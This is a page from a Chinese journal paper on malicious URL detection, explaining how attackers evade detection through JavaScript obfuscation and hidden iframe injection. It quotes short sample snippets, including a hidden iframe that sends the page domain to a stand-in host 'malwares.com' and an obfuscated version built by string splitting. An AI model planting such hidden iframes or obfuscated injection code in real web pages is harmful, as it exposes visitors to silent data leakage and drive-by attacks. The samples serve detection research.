Page 295 - 《软件学报》2021年第9期
P. 295

吴森焱  等:融合多种特征的恶意 URL 检测方法                                                        2919


         采用的主要逃避检测手段包括页面代码混淆、页面代码注入、客户端环境探测和页面重定向跳转,而且恶意
         URL 通常会将多种手段结合来进行逃避检测.
         2.1   页面代码混淆
             页面代码混淆通常用于开发者对页面代码进行保护和压缩,而攻击者采用代码混淆手段则是用于隐藏恶
         意代码,从而逃避安全软件检测.恶意 URL 利用 JavaScript 脚本代码中的字符串操作函数对恶意代码进行加密
         混淆和模糊处理,然后使用动态执行函数执行恶意代码.其中最常见的代码混淆方式是对页面中的字符串进行
         的操作,如对字符串进行拆分、拼接和编码等.混淆后的恶意代码与原来的恶意代码完全不相同,给很多页面内
         容分析方法造成了较大困难.如图 1 所示是一段混淆前的恶意代码,攻击者在页面上插入一个将宽度和高度设
         置为 0.1、目的地址设置为恶意 URL 的隐藏的 iframe 标签.
                                〈html〉
                                  〈iframe width=“0.1” height=“0.1”
                                   src=“http://malwares.com? keys=domaint; referrer=host;”〉
                                  〈/iframe〉
                                〈/html〉
                                  Fig.1    Sample of unobfuscated malicious JS code
                                        图 1   未混淆的 JS 恶意代码样本

             而经过混淆后的恶意代码如图 2 所示,攻击者首先将要传输的字段信息利用 encodeURIComponent 函数进
         行编码,然后将多次使用“+”将恶意 URL 的真实地址进行字符串拼接,实现混淆恶意 URL 地址,再通过
         appendChild 函数对页面的 DOM 结构进行操作.恶意代码在执行的过程中,将拼接的恶意 iframe 标签插入到页
         面中.基于以上对恶意代码的分析可以看出:代码混淆的特点主要体现在页面源代码中,攻击者在源代码中进行
         混淆操作.
                         〈html〉
                         〈script language=“javascript” type=“text/javascript”〉
                         iframe.width=1−0.9; iframe.height=1−0.9;
                         var dm=document.domain; var host=location.host; var i=iframe′;
                         var exploit=encodeURIComponent(dm);
                         var ht=encodeURIComponent(host);
                         var ifr=document.createElement(′i);
                         iframe.src=“ht”+“tp://”+“malw”+“ares”+“.com”+“?keys”+“=exploit”+“;refe”+“rer=”+ht;
                         document.appendChild(ifr);
                         〈/script〉〈/html〉
                                   Fig.2    The malicious JS code after obfuscation
                                     图 2   进行混淆后后的恶意代码 JS 样本
         2.2   页面代码注入

             攻击者通常并不会直接将恶意代码插入页面中,而是利用页面代码注入的方式引入外部的恶意代码,其中,
         将恶意代码注入网页中的方式包括使用 HTML 标签注入外部恶意代码和使用 JavaScript 脚本动态注入恶意代
         码.相比于直接将恶意代码写在页面中,攻击者使用 HTML 标签注入外部恶意代码的方式更加隐蔽,如图 3 所示
         是一段利用 iframe 标签来注入外部恶意代码的示例,使用 iframe 标签来加载外部恶意代码,并将标签的属性设
         置为不可见状态,在用户不知情的情况下注入外部恶意代码.这些恶意标签直接在页面文件中,因此,通过分析
         页面文件比较容易找到注入恶意代码的源标签.

                         〈html〉
                           〈iframe src=‘maliciousSite.js’ width=0 height=0〉〈/iframe〉   //隐藏标签引入外部代码
                         〈/html〉
                           Fig.3    Sample of JS forinjected external code injection by iframe tag
                                   图 3   利用 iframe 标签来注入外部代码样本
             除了使用 iframe 标签进行代码注入外,攻击者还会利用 JavaScript 脚本代码的动态特性,实现动态地注入恶
   290   291   292   293   294   295   296   297   298   299   300